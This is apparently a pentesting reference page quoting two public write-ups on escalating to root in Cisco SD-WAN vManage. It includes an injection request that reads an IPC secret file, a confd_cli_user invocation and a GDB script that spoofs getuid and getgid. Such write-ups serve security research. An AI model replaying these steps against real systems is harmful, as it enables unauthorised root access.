# Cisco - vmanage

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## Path 1 (Example from [https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html](https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html)) After digging a little through some [documentation](http://66.218.245.39/doc/html/rn03re18.html) related to `confd` and the different binaries (accessible with an account on the Cisco website), we found that to authenticate the IPC socket, it uses a secret located in `/etc/confd/confd_ipc_secret`: ``` vmanage:~$ ls -al /etc/confd/confd_ipc_secret -rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret ``` Remember our Neo4j instance? It is running under the `vmanage` user's privileges, thus allowing us to retrieve the file using the previous vulnerability: ``` GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1 Host: vmanage-XXXXXX.viptela.net [...] "data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]} ``` The `confd_cli` program does not support command line arguments but calls `/usr/bin/confd_cli_user` with arguments. So, we could directly call `/usr/bin/confd_cli_user` with our own set of arguments. However it's not readable with our current privileges, so we have to retrieve it from the rootfs and copy it using scp, read the help, and use it to get the shell: ``` vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret vManage:~$ export CONFD_IPC_ACCESS_FILE=/tmp/ipc_secret vManage:~$ /tmp/confd_cli_user -U 0 -G 0 Welcome to Viptela CLI admin connected from 127.0.0.1 using console on vManage vManage# vshell vManage:~# id uid=0(root) gid=0(root) groups=0(root) ``` ## Path 2 (Example from [https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77](https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77)) The blog¹ by the synacktiv team described an elegant way to get a root shell, but the caveat is it requires getting a copy of the `/usr/bin/confd_cli_user` which is only readable by root. I found another way to escalate to root without such hassle. When I disassembled `/usr/bin/confd_cli` binary, I observed the following: ``` vmanage:~$ objdump -d /usr/bin/confd_cli … snipped … 40165c: 48 89 c3 mov %rax,%rbx 40165f: bf 1c 31 40 00 mov $0x40311c,%edi 401664: e8 17 f8 ff ff callq 400e80 401669: 49 89 c4 mov %rax,%r12 40166c: 48 85 db test %rbx,%rbx 40166f: b8 dc 30 40 00 mov $0x4030dc,%eax 401674: 48 0f 44 d8 cmove %rax,%rbx 401678: 4d 85 e4 test %r12,%r12 40167b: b8 e6 30 40 00 mov $0x4030e6,%eax 401680: 4c 0f 44 e0 cmove %rax,%r12 401684: e8 b7 f8 ff ff callq 400f40 <-- HERE 401689: 89 85 50 e8 ff ff mov %eax,-0x17b0(%rbp) 40168f: e8 6c f9 ff ff callq 401000 <-- HERE 401694: 89 85 44 e8 ff ff mov %eax,-0x17bc(%rbp) 40169a: 8b bd 68 e8 ff ff mov -0x1798(%rbp),%edi 4016a0: e8 7b f9 ff ff callq 401020 4016a5: c6 85 cf f7 ff ff 00 movb $0x0,-0x831(%rbp) 4016ac: 48 85 c0 test %rax,%rax 4016af: 0f 84 ad 03 00 00 je 401a62 4016b5: ba ff 03 00 00 mov $0x3ff,%edx 4016ba: 48 89 c6 mov %rax,%rsi 4016bd: 48 8d bd d0 f3 ff ff lea -0xc30(%rbp),%rdi 4016c4: e8 d7 f7 ff ff callq 400ea0 <*ABS*+0x32e9880f0b@plt> … snipped … ``` When I run “ps aux”, I observed the following (_note -g 100 -u 107_) ``` vmanage:~$ ps aux … snipped … root 28644 0.0 0.0 8364 652 ? Ss 18:06 0:00 /usr/lib/confd/lib/core/confd/priv/cmdptywrapper -I 127.0.0.1 -p 4565 -i 1015 -H /home/neteng -N neteng -m 2232 -t xterm-256color -U 1358 -w 190 -h 43 -c /home/neteng -g 100 -u 1007 bash … snipped … ``` I hypothesized the “confd\_cli” program passes the user ID and group ID it collected from the logged in user to the “cmdptywrapper” application. My first attempt was to run the “cmdptywrapper” directly and supplying it with `-g 0 -u 0`, but it failed. It appears a file descriptor (-i 1015) was created somewhere along the way and I cannot fake it. As mentioned in synacktiv’s blog(last example), the `confd_cli` program does not support command line argument, but I can influence it with a debugger and fortunately GDB is included on the system. I created a GDB script where I forced the API `getuid` and `getgid` to return 0. Since I already have “vmanage” privilege through the deserialization RCE, I have permission to read the `/etc/confd/confd_ipc_secret` directly. root.gdb: ``` set environment USER=root define root finish set $rax=0 continue end break getuid commands root end break getgid commands root end run ``` Console Output: ``` vmanage:/tmp$ gdb -x root.gdb /usr/bin/confd_cli GNU gdb (GDB) 8.0.1 Copyright (C) 2017 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-poky-linux". Type "show configuration" for configuration details. For bug reporting instructions, please see: . Find the GDB manual and other documentation resources online at: . For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from /usr/bin/confd_cli...(no debugging symbols found)...done. Breakpoint 1 at 0x400f40 Breakpoint 2 at 0x401000Breakpoint 1, getuid () at ../sysdeps/unix/syscall-template.S:59 59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS) 0x0000000000401689 in ?? ()Breakpoint 2, getgid () at ../sysdeps/unix/syscall-template.S:59 59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS) 0x0000000000401694 in ?? ()Breakpoint 1, getuid () at ../sysdeps/unix/syscall-template.S:59 59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS) 0x0000000000401871 in ?? () Welcome to Viptela CLI root connected from 127.0.0.1 using console on vmanage vmanage# vshell bash-4.4# whoami ; id root uid=0(root) gid=0(root) groups=0(root) bash-4.4# ```

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